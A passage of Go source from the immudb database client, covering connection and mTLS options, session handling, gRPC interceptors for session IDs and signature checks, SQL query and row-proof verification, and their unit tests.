:= []byte(`t`) pathToFile := filepath.Join(t.TempDir(), "testfile") exists, err := hds.FileExistsInUserHomeDir(pathToFile) require.NoError(t, err) require.False(t, exists) err = hds.WriteFileToUserHomeDir(content, pathToFile) require.NoError(t, err) exists, err = hds.FileExistsInUserHomeDir(pathToFile) require.NoError(t, err) require.True(t, exists) } func TestDirFileFileFromUserHomeDir(t *testing.T) { hds := NewHomedirService() content := []byte(`t`) pathToFile := filepath.Join(t.TempDir(), "testfile") _, err := hds.ReadFileFromUserHomeDir(pathToFile) require.ErrorIs(t, err, syscall.ENOENT) err = hds.WriteFileToUserHomeDir(content, pathToFile) require.NoError(t, err) strcontent, err := hds.ReadFileFromUserHomeDir(pathToFile) require.NoError(t, err) require.NotEmpty(t, strcontent) } func TestDeleteDirFileFromUserHomeDir(t *testing.T) { hds := NewHomedirService() content := []byte(`t`) pathToFile := filepath.Join(t.TempDir(), "testfile") err := hds.DeleteFileFromUserHomeDir(pathToFile) require.ErrorIs(t, err, syscall.ENOENT) err = hds.WriteFileToUserHomeDir(content, pathToFile) require.NoError(t, err) err = hds.DeleteFileFromUserHomeDir(pathToFile) require.NoError(t, err) require.NoFileExists(t, pathToFile) } ================================================ FILE: pkg/client/illegal_state_handler_interceptor.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "context" "errors" "strings" "google.golang.org/grpc" ) // IllegalStateHandlerInterceptor improve UX on SDK adding more context when immudb returns an illegal state error message on Verifiable* methods func (c *immuClient) IllegalStateHandlerInterceptor(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error { err := invoker(ctx, method, req, reply, cc, opts...) if err != nil && strings.Contains(method, "Verifiable") { if errors.Is(err, ErrSrvIllegalState) { serverState, err := c.CurrentState(ctx) if err != nil { return err } localState, err := c.StateService.GetState(ctx, serverState.Db) if err != nil { return err } if localState.TxId > serverState.TxId { return ErrServerStateIsOlder } } } return err } ================================================ FILE: pkg/client/mtls_options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client // MTLsOptions mTLS options type MTLsOptions struct { Servername string Pkey string Certificate string ClientCAs string } // DefaultMTLsOptions returns the default mTLS options func DefaultMTLsOptions() MTLsOptions { return MTLsOptions{ Servername: "localhost", Pkey: "./tools/mtls/4_client/private/localhost.key.pem", Certificate: "./tools/mtls/4_client/certs/localhost.cert.pem", ClientCAs: "./tools/mtls/2_intermediate/certs/ca-chain.cert.pem", } } // WithServername sets the server name func (o MTLsOptions) WithServername(servername string) MTLsOptions { o.Servername = servername return o } // WithPkey sets the client private key func (o MTLsOptions) WithPkey(pkey string) MTLsOptions { o.Pkey = pkey return o } // WithCertificate sets the client certificate func (o MTLsOptions) WithCertificate(certificate string) MTLsOptions { o.Certificate = certificate return o } // WithClientCAs sets a list of CA certificates func (o MTLsOptions) WithClientCAs(clientCAs string) MTLsOptions { o.ClientCAs = clientCAs return o } ================================================ FILE: pkg/client/options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "encoding/json" "strconv" "time" "github.com/codenotary/immudb/pkg/stream" c "github.com/codenotary/immudb/cmd/helper" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" ) // AdminTokenFileSuffix is the suffix used for the token file name const AdminTokenFileSuffix = "_admin" // Options client options type Options struct { Dir string Address string // Database hostname / ip address Port int // Database port number HealthCheckRetries int // Deprecated: no longer used MTLs bool // If set to true, client should use MTLS for authentication MTLsOptions MTLsOptions // MTLS settings if used Auth bool // Set to false if client does not use authentication MaxRecvMsgSize int // Maximum size of received GRPC message DialOptions []grpc.DialOption // Additional GRPC dial options Config string // Filename with additional configuration in toml format TokenFileName string // Deprecated: not used for session-based authentication, name of the file with client token CurrentDatabase string // Name of the current database //--> used by immuclient CLI and sql stdlib package PasswordReader c.PasswordReader // Password reader used by the immuclient CLI (TODO: Do not store in immuclient options) Username string // Currently used username, used by immuclient CLI and go SQL stdlib (TODO: Do not store in immuclient options) Password string // Currently used password, used by immuclient CLI and go SQL stdlib (TODO: Do not store in immuclient options) Database string // Currently used database name, used by immuclient CLI and go SQL stdlib (TODO: Do not store in immuclient options) //<-- Metrics bool // Set to true if we should expose metrics, used by immuclient in auditor mode (TODO: Do not store in immuclient options) PidPath string // Path of the PID file, used by immuclient in auditor mode (TODO: Do not store in immuclient options) LogFileName string // Name of the log file to use, used by immuclient in auditor mode (TODO: Do not store in immuclient options) ServerSigningPubKey string // Name of the file containing public key for server signature validations StreamChunkSize int // Maximum size of a data chunk in bytes for streaming operations (directly affects maximum GRPC packet size) HeartBeatFrequency time.Duration // Duration between two consecutive heartbeat calls to the server for session heartbeats DisableIdentityCheck bool // Do not validate server's identity } // DefaultOptions ... func DefaultOptions() *Options { return &Options{ Dir: ".", Address: "127.0.0.1", Port: 3322, HealthCheckRetries: 5, MTLs: false, Auth: true, MaxRecvMsgSize: 4 * 1024 * 1024, //4Mb Config: "configs/immuclient.toml", DialOptions: []grpc.DialOption{grpc.WithTransportCredentials(insecure.NewCredentials())}, PasswordReader: c.DefaultPasswordReader, Metrics: true, PidPath: "", LogFileName: "", ServerSigningPubKey: "", StreamChunkSize: stream.DefaultChunkSize, HeartBeatFrequency: time.Minute * 1, DisableIdentityCheck: false, } } // WithLogFileName set log file name func (o *Options) WithLogFileName(filename string) *Options { o.LogFileName = filename return o } // WithPidPath set pid file path func (o *Options) WithPidPath(path string) *Options { o.PidPath = path return o } // WithMetrics set if metrics should start func (o *Options) WithMetrics(start bool) *Options { o.Metrics = start return o } // WithDir sets program file folder func (o *Options) WithDir(dir string) *Options { o.Dir = dir return o } // WithAddress sets address func (o *Options) WithAddress(address string) *Options { o.Address = address return o } // WithPort sets port func (o *Options) WithPort(port int) *Options { if port > 0 { o.Port = port } return o } // WithHealthCheckRetries sets health check retries func (o *Options) WithHealthCheckRetries(retries int) *Options { o.HealthCheckRetries = retries return o } // WithMTLs activate/deactivate MTLs func (o *Options) WithMTLs(MTLs bool) *Options { o.MTLs = MTLs return o } // WithAuth activate/deactivate auth func (o *Options) WithAuth(authEnabled bool) *Options { o.Auth = authEnabled return o } // MaxRecvMsgSize max recv msg size in bytes func (o *Options) WithMaxRecvMsgSize(maxRecvMsgSize int) *Options { o.MaxRecvMsgSize = maxRecvMsgSize return o } // WithConfig sets config file name func (o *Options) WithConfig(config string) *Options { o.Config = config return o } // WithTokenFileName sets token file name func (o *Options) WithTokenFileName(tokenFileName string) *Options { o.TokenFileName = tokenFileName return o } // WithMTLsOptions sets MTLsOptions func (o *Options) WithMTLsOptions(MTLsOptions MTLsOptions) *Options { o.MTLsOptions = MTLsOptions return o } // WithDialOptions sets dialOptions func (o *Options) WithDialOptions(dialOptions []grpc.DialOption) *Options { o.DialOptions = dialOptions return o } // Bind concatenates address and port func (o *Options) Bind() string { return o.Address + ":" + strconv.Itoa(o.Port) } // Identity returns server's identity func (o *Options) ServerIdentity() string { return o.Bind() } // WithPasswordReader sets the password reader for the client func (o *Options) WithPasswordReader(pr c.PasswordReader) *Options { o.PasswordReader = pr return o } // WithUsername sets the username for the client func (o *Options) WithUsername(username string) *Options { o.Username = username return o } // WithPassword sets the password for the client func (o *Options) WithPassword(password string) *Options { o.Password = password return o } // WithDatabase sets the database for the client func (o *Options) WithDatabase(database string) *Options { o.Database = database return o } // WithServerSigningPubKey sets the public key. If presents server state signature verification is enabled func (o *Options) WithServerSigningPubKey(serverSigningPubKey string) *Options { o.ServerSigningPubKey = serverSigningPubKey return o } // WithStreamChunkSize set the chunk size func (o *Options) WithStreamChunkSize(streamChunkSize int) *Options { o.StreamChunkSize = streamChunkSize return o } // WithHeartBeatFrequency set the keep alive message frequency func (o *Options) WithHeartBeatFrequency(heartBeatFrequency time.Duration) *Options { o.HeartBeatFrequency = heartBeatFrequency return o } // WithDisableIdentityCheck disables or enables server identity check. // // Each server identifies itself with a unique UUID which along with the database name // is used to identify a particular immudb database instance. This UUID+database name tuple // is then used to select appropriate state value stored on the client side to do proof verifications. // // Identity check is responsible for ensuring that the server with given identity // (which is currently the "host:port" string) must always present with the same UUID. // // Disabling this check means that the server can present different UUID. func (o *Options) WithDisableIdentityCheck(disableIdentityCheck bool) *Options { o.DisableIdentityCheck = disableIdentityCheck return o } // String converts options object to a json string func (o *Options) String() string { optionsJSON, err := json.Marshal(o) if err != nil { return err.Error() } return string(optionsJSON) } ================================================ FILE: pkg/client/options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "testing" "github.com/stretchr/testify/require" ) func TestOptions(t *testing.T) { mtlsOpts := DefaultMTLsOptions(). WithServername("localhost"). WithCertificate("no-certificate"). WithClientCAs("no-client-ca"). WithPkey("no-pkey") op := DefaultOptions().WithLogFileName("logfilename"). WithPidPath("pidpath"). WithMetrics(true). WithDir("clientdir"). WithAddress("127.0.0.1"). WithPort(4321). WithHealthCheckRetries(3). WithMTLs(true). WithMTLsOptions(mtlsOpts). WithAuth(true). WithMaxRecvMsgSize(1 << 20). WithConfig("configfile"). WithTokenFileName("tokenfile"). WithUsername("some-username"). WithPassword("some-password"). WithDatabase("some-db"). WithStreamChunkSize(4096). WithDisableIdentityCheck(true) require.Equal(t, op.LogFileName, "logfilename") require.Equal(t, op.PidPath, "pidpath") require.True(t, op.Metrics) require.Equal(t, op.Dir, "clientdir") require.Equal(t, op.Address, "127.0.0.1") require.Equal(t, op.Port, 4321) require.Equal(t, op.HealthCheckRetries, 3) require.True(t, op.MTLs) require.Equal(t, op.MTLsOptions.Servername, "localhost") require.Equal(t, op.MTLsOptions.Certificate, "no-certificate") require.Equal(t, op.MTLsOptions.ClientCAs, "no-client-ca") require.Equal(t, op.MTLsOptions.Pkey, "no-pkey") require.True(t, op.Auth) require.Equal(t, op.MaxRecvMsgSize, 1<<20) require.Equal(t, op.Config, "configfile") require.Equal(t, op.TokenFileName, "tokenfile") require.Equal(t, op.Username, "some-username") require.Equal(t, op.Password, "some-password") require.Equal(t, op.Database, "some-db") require.Equal(t, op.StreamChunkSize, 4096) require.True(t, op.DisableIdentityCheck) require.Equal(t, op.Bind(), "127.0.0.1:4321") require.NotEmpty(t, op.String()) } ================================================ FILE: pkg/client/session.go ================================================ package client import ( "context" "fmt" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/cache" "github.com/codenotary/immudb/pkg/client/errors" "github.com/codenotary/immudb/pkg/client/state" "github.com/codenotary/immudb/pkg/signer" "github.com/codenotary/immudb/pkg/stream" "github.com/golang/protobuf/ptypes/empty" "google.golang.org/grpc" ) // OpenSession establishes a new session with the server, this method also opens new // connection to the server. // // Note: it is important to call CloseSession() once the session is no longer needed. func (c *immuClient) OpenSession(ctx context.Context, user []byte, pass []byte, database string) (err error) { if c.IsConnected() { return errors.FromError(ErrSessionAlreadyOpen) } if c.Options.ServerSigningPubKey != "" { pk, e := signer.ParsePublicKeyFile(c.Options.ServerSigningPubKey) if e != nil { return e } c.WithServerSigningPubKey(pk) } if c.Options.StreamChunkSize < stream.MinChunkSize { return errors.New(stream.ErrChunkTooSmall).WithCode(errors.CodInvalidParameterValue) } dialOptions := c.SetupDialOptions(c.Options) clientConn, err := grpc.Dial(c.Options.Bind(), dialOptions...) if err != nil { return err } defer func() { if err != nil { _ = clientConn.Close() } }() serviceClient := schema.NewImmuServiceClient(clientConn) resp, err := serviceClient.OpenSession(ctx, &schema.OpenSessionRequest{ Username: user, Password: pass, DatabaseName: database, }) if err != nil { return errors.FromError(err) } defer func() { if err != nil { _, _ = serviceClient.CloseSession(ctx, new(empty.Empty)) } }() stateCache := cache.NewFileCache(c.Options.Dir) stateProvider := state.NewStateProvider(serviceClient) stateService, err := state.NewStateServiceWithUUID(stateCache, c.Logger, stateProvider, resp.GetServerUUID()) if err != nil { return errors.FromError(fmt.Errorf("unable to create state service: %v", err)) } if !c.Options.DisableIdentityCheck { stateService.SetServerIdentity(c.getServerIdentity()) } c.clientConn = clientConn c.ServiceClient = serviceClient c.Options.DialOptions = dialOptions c.SessionID = resp.GetSessionID() c.HeartBeater = NewHeartBeater(c.SessionID, c.ServiceClient, c.Options.HeartBeatFrequency, c.errorHandler, c.Logger) c.HeartBeater.KeepAlive(context.Background()) c.WithStateService(stateService) c.Options.CurrentDatabase = database return nil } // CloseSession closes the current session and the connection to the server, // this call also allows the server to free up all resources allocated for a session // (without explicit call, the server will only free resources after session inactivity timeout). func (c *immuClient) CloseSession(ctx context.Context) error { if !c.IsConnected() { return errors.FromError(ErrNotConnected) } defer func() { c.SessionID = "" c.clientConn = nil c.ServiceClient = nil c.StateService = nil c.serverSigningPubKey = nil c.HeartBeater = nil }() c.HeartBeater.Stop() defer c.clientConn.Close() _, err := c.ServiceClient.CloseSession(ctx, new(empty.Empty)) if err != nil { return errors.FromError(err) } return nil } // GetSessionID returns the current internal session identifier. func (c *immuClient) GetSessionID() string { return c.SessionID } ================================================ FILE: pkg/client/session_id_injector_interceptor.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "context" "google.golang.org/grpc" "google.golang.org/grpc/metadata" ) // SessionIDInjectorInterceptor is a gRPC interceptor that inject sessionID into the outgoing context func (c *immuClient) SessionIDInjectorInterceptor(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error { ctx = c.populateCtx(ctx) ris := invoker(ctx, method, req, reply, cc, opts...) return ris } // SessionIDInjectorInterceptor is a gRPC stream interceptor that inject sessionID into the outgoing context func (c *immuClient) SessionIDInjectorStreamInterceptor(ctx context.Context, desc *grpc.StreamDesc, cc *grpc.ClientConn, method string, streamer grpc.Streamer, opts ...grpc.CallOption) (grpc.ClientStream, error) { ctx = c.populateCtx(ctx) return streamer(ctx, desc, cc, method, opts...) } func (c *immuClient) populateCtx(ctx context.Context) context.Context { if c.GetSessionID() != "" { ctx = metadata.AppendToOutgoingContext(ctx, "sessionid", c.GetSessionID()) } return ctx } ================================================ FILE: pkg/client/session_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "context" "net" "syscall" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/stream" "github.com/golang/protobuf/ptypes/empty" "github.com/stretchr/testify/require" "google.golang.org/grpc" ) func TestImmuClient_OpenSession_ErrParsingKey(t *testing.T) { c := NewClient().WithOptions(DefaultOptions().WithServerSigningPubKey("invalid")) err := c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.ErrorIs(t, err, syscall.ENOENT) } func TestImmuClient_OpenSession_ErrDefaultChunkTooSmall(t *testing.T) { c := NewClient().WithOptions(DefaultOptions().WithStreamChunkSize(1)) err := c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.ErrorContains(t, err, stream.ErrChunkTooSmall) } func TestImmuClient_OpenSession_DialError(t *testing.T) { c := NewClient().WithOptions(DefaultOptions().WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) { return nil, syscall.ECONNREFUSED })})) err := c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.Error(t, err) } func TestImmuClient_OpenSession_OpenSessionError(t *testing.T) { c := NewClient() err := c.OpenSession(context.Background(), nil, nil, "") require.Error(t, err) } func TestImmuClient_OpenSession_OpenAndCloseSessionAfterError_AvoidPanic(t *testing.T) { c := NewClient() err := c.OpenSession(context.Background(), nil, nil, "") require.Error(t, err) // try open session again err = c.OpenSession(context.Background(), nil, nil, "") require.NotErrorIs(t, err, ErrSessionAlreadyOpen) // close over not open session err = c.CloseSession(context.Background()) require.NotErrorIs(t, err, ErrSessionAlreadyOpen) } func TestImmuClient_OpenSession_StateServiceError(t *testing.T) { c := NewClient().WithOptions(DefaultOptions().WithDir("false")) c.ServiceClient = &immuServiceClientMock{ OpenSessionF: func(ctx context.Context, in *schema.OpenSessionRequest, opts ...grpc.CallOption) (*schema.OpenSessionResponse, error) { return &schema.OpenSessionResponse{ SessionID: "test", }, nil }, KeepAliveF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { return new(empty.Empty), nil }, } err := c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.Error(t, err) } type immuServiceClientMock struct { schema.ImmuServiceClient OpenSessionF func(ctx context.Context, in *schema.OpenSessionRequest, opts ...grpc.CallOption) (*schema.OpenSessionResponse, error) KeepAliveF func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) TruncateF func(ctx context.Context, in *schema.TruncateDatabaseRequest, opts ...grpc.CallOption) (*schema.TruncateDatabaseResponse, error) } func (icm *immuServiceClientMock) OpenSession(ctx context.Context, in *schema.OpenSessionRequest, opts ...grpc.CallOption) (*schema.OpenSessionResponse, error) { return icm.OpenSessionF(ctx, in, opts...) } func (icm *immuServiceClientMock) KeepAlive(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { return icm.KeepAliveF(ctx, in, opts...) } func (icm *immuServiceClientMock) TruncateDatabase(ctx context.Context, in *schema.TruncateDatabaseRequest, opts ...grpc.CallOption) (*schema.TruncateDatabaseResponse, error) { return icm.TruncateF(ctx, in, opts...) } ================================================ FILE: pkg/client/signature_verifier_interceptor.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "context" "github.com/codenotary/immudb/pkg/api/schema" "google.golang.org/grpc" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) // SignatureVerifierInterceptor verify that provided server signature match with the public key provided func (c *immuClient) SignatureVerifierInterceptor(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error { ris := invoker(ctx, method, req, reply, cc, opts...) if c.serverSigningPubKey == nil { return status.Error(codes.FailedPrecondition, "public key not loaded") } if method == "/immudb.schema.ImmuService/CurrentState" { state := reply.(*schema.ImmutableState) err := state.CheckSignature(c.serverSigningPubKey) if err != nil { return status.Errorf(codes.InvalidArgument, "unable to verify signature: %s", err) } } return ris } ================================================ FILE: pkg/client/sql.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package client import ( "bytes" "context" "crypto/sha256" "encoding/binary" "io" "github.com/codenotary/immudb/pkg/client/errors" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "google.golang.org/protobuf/types/known/emptypb" ) const SQLPrefix byte = 2 // SQLExec performs a modifying SQL query within the transaction. // Such query does not return SQL result. func (c *immuClient) SQLExec(ctx context.Context, sql string, params map[string]interface{}) (*schema.SQLExecResult, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } namedParams, err := schema.EncodeParams(params) if err != nil { return nil, err } return c.ServiceClient.SQLExec(ctx, &schema.SQLExecRequest{Sql: sql, Params: namedParams}) } // SQLQuery performs a query (read-only) operation. // // Deprecated: Use method SQLQueryReader instead. // // The renewSnapshot parameter is deprecated and is ignored by the server. func (c *immuClient) SQLQuery(ctx context.Context, sql string, params map[string]interface{}, renewSnapshot bool) (*schema.SQLQueryResult, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } stream, err := c.sqlQuery(ctx, sql, params, false) if err != nil { return nil, err } res, err := stream.Recv() if err != nil { return nil, errors.FromError(err) } if _, err := stream.Recv(); err != io.EOF { return res, errors.FromError(err) } return res, nil } // SQLQueryReader submits an SQL query to the server and returns a reader object for efficient retrieval of all rows in the result set. func (c *immuClient) SQLQueryReader(ctx context.Context, sql string, params map[string]interface{}) (SQLQueryRowReader, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } stream, err := c.sqlQuery(ctx, sql, params, true) if err != nil { return nil, err } return newSQLQueryRowReader(stream) } func (c *immuClient) sqlQuery(ctx context.Context, sql string, params map[string]interface{}, acceptStream bool) (schema.ImmuService_SQLQueryClient, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } namedParams, err := schema.EncodeParams(params) if err != nil { return nil, errors.FromError(err) } stream, err := c.ServiceClient.SQLQuery(ctx, &schema.SQLQueryRequest{Sql: sql, Params: namedParams, AcceptStream: acceptStream}) return stream, errors.FromError(err) } // ListTables returns a list of SQL tables. func (c *immuClient) ListTables(ctx context.Context) (*schema.SQLQueryResult, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.ListTables(ctx, &emptypb.Empty{}) } // Describe table returns a description of a table structure. func (c *immuClient) DescribeTable(ctx context.Context, tableName string) (*schema.SQLQueryResult, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } return c.ServiceClient.DescribeTable(ctx, &schema.Table{TableName: tableName}) } // VerifyRow reads a single row from the database with additional validation of server-provided proof. // // The row parameter should contain row from a single table, either returned from // query or manually assembled. The table parameter contains the name of the table // where the row comes from. The pkVals argument is an array containing values for // the primary key of the row. The row parameter does not have to contain all // columns of the table. Once the row itself is verified, only those columns that // are in the row will be compared against the verified row retrieved from the database. func (c *immuClient) VerifyRow(ctx context.Context, row *schema.Row, table string, pkVals []*schema.SQLValue) error { if row == nil || len(table) == 0 || len(pkVals) == 0 { return ErrIllegalArguments } if len(row.Columns) == 0 || len(row.Columns) != len(row.Values) { return sql.ErrCorruptedData } if !c.IsConnected() { return ErrNotConnected } err := c.StateService.CacheLock() if err != nil { return err } defer c.StateService.CacheUnlock() state, err := c.StateService.GetState(ctx, c.currentDatabase()) if err != nil { return err } vEntry, err := c.ServiceClient.VerifiableSQLGet(ctx, &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{Table: table, PkValues: pkVals}, ProveSinceTx: state.TxId, }) if err != nil { return err } if len(vEntry.PKIDs) < len(pkVals) { return ErrIllegalArguments } entrySpecDigest, err := store.EntrySpecDigestFor(int(vEntry.VerifiableTx.Tx.Header.Version)) if err != nil { return err } inclusionProof := schema.InclusionProofFromProto(vEntry.InclusionProof) dualProof := schema.DualProofFromProto(vEntry.VerifiableTx.DualProof) var eh [sha256.Size]byte var sourceID, targetID uint64 var sourceAlh, targetAlh [sha256.Size]byte vTx := vEntry.SqlEntry.Tx dbID := vEntry.DatabaseId tableID := vEntry.TableId valbuf := bytes.Buffer{} for i, pkVal := range pkVals { pkID := vEntry.PKIDs[i] pkType, ok := vEntry.ColTypesById[pkID] if !ok { return sql.ErrCorruptedData } pkLen, ok := vEntry.ColLenById[pkID] if !ok { return sql.ErrCorruptedData } pkEncVal, _, err := sql.EncodeRawValueAsKey(schema.RawValue(pkVal), pkType, int(pkLen)) if err != nil { return err } _, err = valbuf.Write(pkEncVal) if err != nil { return err } } pkKey := sql.MapKey( []byte{SQLPrefix}, sql.RowPrefix, sql.EncodeID(dbID), sql.EncodeID(tableID), sql.EncodeID(sql.PKIndexID), valbuf.Bytes()) decodedRow, err := decodeRow(vEntry.SqlEntry.Value, vEntry.ColTypesById, vEntry.MaxColId) if err != nil { return err } err = verifyRowAgainst(row, decodedRow, vEntry.ColIdsByName) if err != nil { return err } e := &store.EntrySpec{Key: pkKey, Value: vEntry.SqlEntry.Value} if state.TxId <= vTx { eh = schema.DigestFromProto(vEntry.VerifiableTx.DualProof.TargetTxHeader.EH) sourceID = state.TxId sourceAlh = schema.DigestFromProto(state.TxHash) targetID = vTx targetAlh = dualProof.TargetTxHeader.Alh() } else { eh = schema.DigestFromProto(vEntry.VerifiableTx.DualProof.SourceTxHeader.EH) sourceID = vTx sourceAlh = dualProof.SourceTxHeader.Alh() targetID = state.TxId targetAlh = schema.DigestFromProto(state.TxHash) } verifies := store.VerifyInclusion( inclusionProof, entrySpecDigest(e), eh) if !verifies { return store.ErrCorruptedData } if state.TxId > 0 { err := c.verifyDualProof( ctx, dualProof, sourceID, targetID, sourceAlh, targetAlh, ) if err != nil { return err } } newState := &schema.ImmutableState{ Db: c.currentDatabase(), TxId: targetID, TxHash: targetAlh[:], Signature: vEntry.VerifiableTx.Signature, } if c.serverSigningPubKey != nil { err := newState.CheckSignature(c.serverSigningPubKey) if err != nil { return err } } err = c.StateService.SetState(c.currentDatabase(), newState) if err != nil { return err } return nil } func verifyRowAgainst(row *schema.Row, decodedRow map[uint32]*schema.SQLValue, colIdsByName map[string]uint32) error { for i, colName := range row.Columns { colID, ok := colIdsByName[colName] if !ok { return sql.ErrColumnDoesNotExist } val := row.Values[i] if val == nil || val.Value == nil { return sql.ErrCorruptedData } decodedVal, ok := decodedRow[colID] if !ok { _, isNull := val.Value.(*schema.SQLValue_Null) if isNull { continue } return sql.ErrCorruptedData } if decodedVal == nil || decodedVal.Value == nil { return sql.ErrCorruptedData } equals, err := val.Value.(schema.SqlValue).Equal(decodedVal.Value.(schema.SqlValue)) if err != nil { return err } if !equals { return sql.ErrCorruptedData } } return nil } func decodeRow(encodedRow []byte, colTypes map[uint32]sql.SQLValueType, maxColID uint32) (map[uint32]*schema.SQLValue, error) { off := 0 if len(encodedRow) < off+sql.EncLenLen { return nil, sql.ErrCorruptedData } colsCount := binary.BigEndian.Uint32(encodedRow[off:]) off += sql.EncLenLen values := make(map[uint32]*schema.SQLValue, colsCount) for i := 0; i < int(colsCount); i++ { if len(encodedRow) < off+sql.EncIDLen { return nil, sql.ErrCorruptedData } colID := binary.BigEndian.Uint32(encodedRow[off:]) off += sql.EncIDLen colType, ok := colTypes[colID] if !ok { // Support for dropped columns if colID > maxColID { return nil, sql.ErrCorruptedData } vlen, voff, err := sql.DecodeValueLength(encodedRow[off:]) if err != nil { return nil, err } off += vlen off += voff continue } val, n, err := sql.DecodeValue(encodedRow[off:], colType) if err != nil { return nil, err } values[colID] = schema.TypedValueToRowValue(val) off += n } return values, nil } type Row []interface{} type Column struct { Type string Name string } type SQLQueryRowReader interface { // Columns returns the set of columns Columns() []Column // Next() prepares the subsequent row for retrieval, indicating availability with a returned value of true. // Any encountered IO errors will be deferred until subsequent calls to Read() or Close(), prompting the function to return false. Next() bool // Read retrieves the current row as a slice of values. // // It's important to note that successive calls to Read() may recycle the same slice, necessitating copying to retain its contents. Read() (Row, error) // Close closes the reader. Subsequent calls to Next() or Read() will return an error. Close() error } type rowReader struct { stream schema.ImmuService_SQLQueryClient cols []Column rows []*schema.Row row Row nextRow int closed bool err error } func newSQLQueryRowReader(stream schema.ImmuService_SQLQueryClient) (*rowReader, error) { res, err := stream.Recv() if err != nil { return nil, errors.FromError(err) } return &rowReader{ stream: stream, rows: res.Rows, row: make(Row, len(res.Columns)), nextRow: -1, cols: fromProtoCols(res.Columns), }, nil } func fromProtoCols(columns []*schema.Column) []Column { cols := make([]Column, len(columns)) for i, col := range columns { cols[i] = Column{Type: col.Type, Name: col.Name} } return cols } func (it *rowReader) Columns() []Column { return it.cols } func (it *rowReader) Next() bool { if it.closed { return false } if it.nextRow+1 < len(it.rows) { it.nextRow++ return true } if err := it.fetchRows(); err != nil { it.err = err return false } it.nextRow = 0 return true } func (it *rowReader) Read() (Row, error) { if it.closed { return nil, sql.ErrAlreadyClosed } if it.err != nil { 